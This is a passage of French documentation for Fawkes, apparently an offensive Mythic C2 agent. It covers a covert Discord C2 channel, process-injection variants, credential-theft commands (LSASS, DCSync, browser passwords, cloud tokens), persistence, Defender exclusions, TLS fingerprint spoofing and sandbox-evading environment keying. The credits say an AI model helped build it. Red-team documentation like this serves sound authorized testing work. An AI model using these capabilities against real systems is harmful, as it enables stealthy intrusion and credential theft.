**Support de reconnexion :** Si un parent se déconnecte (par exemple via `unlink` ou si l'agent parent meurt), l'agent enfant met en cache ses données d'enregistrement et attend une nouvelle connexion parent. Lorsqu'un nouvel agent de sortie exécute `link`, l'enfant se réenregistre automatiquement auprès de Mythic en tant que nouveau callback. Aucune intervention manuelle n'est nécessaire.

**Enfants multiples :** Un agent de sortie peut se connecter à plusieurs enfants TCP et tubes nommés simultanément. Chaque enfant fonctionne indépendamment avec son propre callback.

**Notes OPSEC :** Les connexions par tube nommé utilisent SMB (port 445) et génèrent moins d'indicateurs au niveau réseau que le TCP brut, mais les événements Sysmon ID 17/18 (PipeEvent) et les événements ETW de Microsoft-Windows-SMBClient seront enregistrés s'ils sont configurés.

### Profil C2 Discord

Le profil Discord utilise un bot et un canal Discord comme transport C2 caché. L'agent communique avec Mythic en postant des messages chiffrés sur un canal Discord, où un bot côté serveur les relaie à Mythic via la poussée gRPC C2.

**Architecture :**```
Fawkes Agent ──Discord REST API──→ Discord Channel ←──Bot──→ Discord C2 Server ──gRPC──→ Mythic

Comment ça fonctionne :

  1. Enregistrement : L'agent envoie un message d'enregistrement chiffré sur le canal Discord. Le bot côté serveur le récupère, le transmet à Mythic, et publie la réponse sur le canal. L'agent interroge jusqu'à trouver la réponse.
  2. Tâches : L'agent envoie une requête get_tasking via Discord. Avec le push C2, les tâches peuvent également être poussées indépendamment sur le canal. L'agent collecte tous les messages correspondants par cycle d'interrogation.
  3. Réponses : L'agent publie la sortie des tâches sur le canal. Les réponses volumineuses (>1950 caractères) sont envoyées sous forme de pièces jointes.

Paramètres de construction :

Chiffrement : AES-256-CBC avec HMAC-SHA256 (même schéma que le profil HTTP). La configuration sensible (jeton du bot, ID du canal) est chiffrée en mémoire après l'initialisation à l'aide du coffre AES-256-GCM.

Prise en charge du push C2 : Le serveur C2 Discord utilise le push C2 de Mythic (flux gRPC persistant). Les tâches peuvent arriver de manière asynchrone entre les cycles d'interrogation. L'agent implémente :

  • Balayage pré-interrogation pour capturer les tâches poussées des cycles précédents
  • Interrogation de rattrapage (3 interrogations supplémentaires après la première correspondance) pour une livraison rapide des tâches
  • Nouvelle tentative de PostResponse en cas d'échecs transitoires

Limitation de débit : Respecte les limites de taux de l'API Discord avec nouvelle tentative automatique et backoff exponentiel (jusqu'à 5 tentatives). Le User-Agent est codé en dur en tant que DiscordBot (https://github.com, 1.0) comme requis par l'API Discord.

Prérequis de configuration :

  1. Créez un bot Discord sur discord.com/developers
  2. Activez l'intention Message Content du bot
  3. Ajoutez le bot à un serveur avec les permissions : Envoyer des messages, Lire l'historique des messages, Joindre des fichiers, Gérer les messages
  4. Notez le jeton du bot et l'ID du canal cible
  5. Configurez le conteneur du serveur C2 Discord avec le même jeton de bot et le même ID de canal dans son config.json

Limitations connues :

  • "Last Checkin" dans Mythic s'affiche comme "Streaming Now" tant que le flux push C2 est actif (inhérent au mode push C2). Après environ 180 secondes d'inactivité de l'agent, Mythic affiche le véritable horodatage de la dernière activité.
  • Les limites de taux de l'API Discord peuvent introduire une latence lors de l'attribution de tâches à haute fréquence
  • Le jeton du bot est un actif OPSEC critique — un compromis expose le canal C2
  • Limite de taille des messages : ~1950 caractères en ligne, les charges utiles plus volumineuses utilisent des pièces jointes

Remerciements

Tout ce que je sais sur les agents Mythic provient de la documentation Mythic ou du vol de code et d'idées des agents Merlin et Freyja.

Après cela, cela a consisté exclusivement à donner à Claude des liens de PoC et à lui demander des trucs sympas. C'est fou, non ?

Techniques et Références

  • Threadless Injection - ThreadlessInject de CCob (implémentation C# originale) et go-ThreadlessInject de dreamkinn (portage Go)
  • sRDI (Shellcode Reflective DLL Injection) - Implémentation sRDI basée sur Go de Merlin, basée à l'origine sur le sRDI de Nick Landers (monoxgas)
  • PoolParty Injection - Recherche PoolParty de SafeBreach Labs (PoC C++ original) - Détails des variantes
  • Opus Injection - Techniques d'injection basées sur les callbacks - Détails des variantes
  • Icône Phoenix provenant de OpenClipart
Télécharger l’outil
SourceTypeCe qu'il fournit
RubeusAssembly .NETAttaques Kerberos (kerberoasting, forge de tickets, délégation)
SeatbeltAssembly .NETAnalyse de sécurité de l'hôte (privilèges, identifiants, configurations)
CertifyAssembly .NETÉnumération et abus des services de certificats AD
SharpHoundAssembly .NETCollecte de données BloodHound
SharpUpAssembly .NETVérifications d'élévation de privilèges locale
SharpViewAssembly .NETÉnumération Active Directory (port de PowerView)
nanodumpBOFVidage mémoire LSASS via MiniDumpWriteDump
credmanBOFRécupération du Gestionnaire d'identifiants Windows
VarianteTechniqueDéclencheurShellcode Go
1Écrasement de la routine de démarrage de Worker FactoryCréation d'un nouveau thread workerNon
2Insertion TP_WORKTraitement de la file d'attente des tâchesOui
3Insertion TP_WAITSignalement d'événementOui
4Insertion TP_IOAchèvement d'E/S de fichierOui
5Insertion TP_ALPCMessagerie de port ALPCOui
6Insertion TP_JOBAttribution d'objet de travailOui
7Insertion TP_DIRECTPort d'achèvement d'E/SOui
8Insertion TP_TIMERExpiration de minuteurOui
RéglageExportationsCas d'utilisation
standard (par défaut)Run, Fire, VoidFuncsRDI shellcode, rundll32, chargeurs génériques
fullStandard + DllRegisterServer, DllUnregisterServer, ServiceMain, DllGetClassObject, DllCanUnloadNowregsvr32, service svchost, détournement COM
ExportationExécutionMITRE
DllRegisterServerregsvr32 /s fawkes.dllT1218.010
DllUnregisterServerregsvr32 /u /s fawkes.dllT1218.010
ServiceMainservice DLL svchost.exe (Windows uniquement)T1543.003
DllGetClassObject + DllCanUnloadNowDétournement COM InprocServer32T1546.015
inflate_countUn seul octet (par ex. 0x90)Deux octets (par ex. 0x41,0x42)
1 0001 Ko2 Ko
10 00010 Ko20 Ko
100 000100 Ko200 Ko
1 000 0001 Mo2 Mo
3 000 0003 Mo6 Mo
10 000 00010 Mo20 Mo
ParamètreTypeDescription
pe_presetChoisirPréréglage d'imitation rapide (notepad, svchost, cmd, explorer, etc.)
pe_companyChaîneCompanyName (par ex. "Microsoft Corporation")
pe_descriptionChaîneFileDescription — visible dans le Gestionnaire des tâches
pe_productChaîneProductName
pe_versionChaîneVersion du fichier/produit (par ex. "10.0.19041.1")
pe_copyrightChaîneLegalCopyright
pe_original_filenameChaîneOriginalFilename — visible par les outils médico-légaux
pe_iconFichierFichier d'icône personnalisé .ico ou .png
pe_manifestChoisirNiveau UAC : asInvoker, highestAvailable, requireAdministrator
TypeCommandes
Création de processusrun, powershell, spawn, argue
Appel APInet-enum, net-user, service, wmi, schtask, procdump, hashdump, eventlog, ntdll-unhook, syscalls, firewall, dcom, vss (create/delete), psexec
Arrêt de processuskill
Injection de processusvanilla-injection, apc-injection, threadless-inject, poolparty-injection, opus-injection, module-stomp, thread-hijack
Écriture de fichierupload, cp, mv
Création de fichiermkdir
Suppression de fichierrm
Modification de fichiertimestomp
Écriture de registrereg (write/delete), remote-reg (set/delete), persist (registry, com-hijack, screensaver methods), uac-bypass, defender (add/remove-exclusion)
Sauvegarde de registrereg (save/creds)
Registre distantremote-reg (query/enum/set/delete via WinReg RPC)
Service distantremote-service (list/query/create/start/stop/delete/modify-path/trigger/dll-sideload via SVCCTL RPC)
Connexionmake-token
Vol de jetonsteal-token, getsystem
CommandeType d'identifiantCe qui est signalé
hashdumphashHachages SAM NTLM (Windows), hachages MSV1_0 NT/LM/SHA à partir d'une inspection LSASS in-situ (Windows, insitu-full), TGT Kerberos et tickets de service au format .kirbi (Windows, tickets), hachages /etc/shadow (Linux), hachages PBKDF2 (macOS)
kerberoasthashTickets TGS pour craquage hors ligne
asrep-roasthashHachages AS-REP
dcsynchashClés NTLM + AES via DRSGetNCChanges
lsa-secretstexte clair/hachage/cléMots de passe de service, identifiants en cache, clés DPAPI
lapstexte clairMots de passe LAPS v1 et v2
gpp-passwordtexte clairMots de passe chiffrés GPP depuis SYSVOL
browsertexte clairMots de passe enregistrés Chrome/Edge/Firefox (toutes plateformes), cookies (toutes plateformes), historique, remplissage automatique, marque-pages
dpapitexte clair/hachageSecrets protégés par DPAPI
credmantexte clairEntrées du Gestionnaire d'identifiants (sur action de vidage)
make-tokentexte clairIdentifiants utilisés pour la création du jeton
cred-harvesthachage/texte clair/jetonHachages fantômes, variables d'environnement cloud, variables d'environnement sensibles, jetons M365 OAuth/JWT, cookies/stockage navigateur en direct via CDP
credential-prompttexte clairIdentifiants capturés par dialogue (macOS/Windows/Linux)
EmpreinteDescription
chromeChrome/Chromium (par défaut) — navigateur le plus courant, idéal pour se fondre
firefoxFirefox
safariSafari
edgeMicrosoft Edge
rotateSélectionne aléatoirement Chrome/Firefox/Safari/Edge par connexion (empêche la corrélation JA3)
randomEmpreinte entièrement aléatoire (ne correspond à aucun navigateur)
goPas d'usurpation — utilise la pile TLS par défaut de Go
ParamètreTypeDescription
env_key_hostnameRegexLe nom d'hôte doit correspondre (par ex., WORKSTATION-\d+ ou .*\.contoso\.com)
env_key_domainRegexLe domaine doit correspondre (par ex., CONTOSO ou .*\.local)
env_key_usernameRegexLe nom d'utilisateur doit correspondre (par ex., admin.* ou svc_.*)
env_key_processChaîneNom du processus qui doit être en cours d'exécution (par ex., outlook.exe)
env_key_cpuidRegexLa chaîne de marque du CPU doit correspondre (par ex., .*Intel.*i7-12700.* ou .*AMD.*5950X.*). Empêche l'exécution dans des sandbox avec des modèles de CPU différents.
env_key_deriveChoixChiffrer la config C2 avec une clé dérivée des propriétés de l'hôte cible. Options : hostname, domain, username, hostname+domain, hostname+domain+username. Mauvais hôte = échec du déchiffrement AES = sortie silencieuse. Plus fort que la correspondance regex — les valeurs de config n'apparaissent jamais dans le binaire.
  • Backoff exponentiel : En cas d'échecs C2 consécutifs, l'agent double son intervalle de sommeil (plafonné à 5 minutes). L'intervalle normal est rétabli lors d'un contact réussi.
  • Empreinte TLS : Usurpation d'empreintes JA3 de navigateur (chrome, firefox, safari, edge, rotate, random).
  • Multiplexage HTTP/2 : Négociation automatique h2 sur HTTPS. Multiplexe les requêtes sur une seule connexion, imitant le comportement du navigateur. Repli transparent en h1.
  • Secret de transmission : Rotation de clé ECDH X25519 tous les N check-ins (key_rotation_interval). Dérive de nouvelles clés AES-256 via HKDF-SHA256, efface les anciennes clés. Limite le rayon d'explosion d'une compromission de clé.
  • Protection contre la relecture : Numéros de séquence monotones dans chaque message (à l'intérieur de l'enveloppe chiffrée). Empêche la relecture des requêtes/réponses capturées.
  • TLS mutuel (mTLS) : L'authentification par certificat client empêche l'interception passive et le proxy MITM (T1573.002).
  • Domain fronting : Définissez host_header pour remplacer l'en-tête HTTP Host.
  • Basculement automatique : Configurez fallback_hosts pour un C2 résilient.
  • ParamètreTypeDescriptionDéfaut
    discord_tokenStringJeton du bot Discord pour l'authentification API(requis)
    bot_channelStringID du canal Discord pour l'échange de messages(requis)
    callback_intervalStringSecondes entre les interrogations de tâches10
    callback_jitterStringPourcentage de gigue (0-100)23
    message_checksStringNombre maximal de tentatives d'interrogation par échange20
    time_between_checksStringSecondes entre les tentatives d'interrogation5
    AESPSKStringClé de chiffrement AES-256 pré-partagée(auto-généré)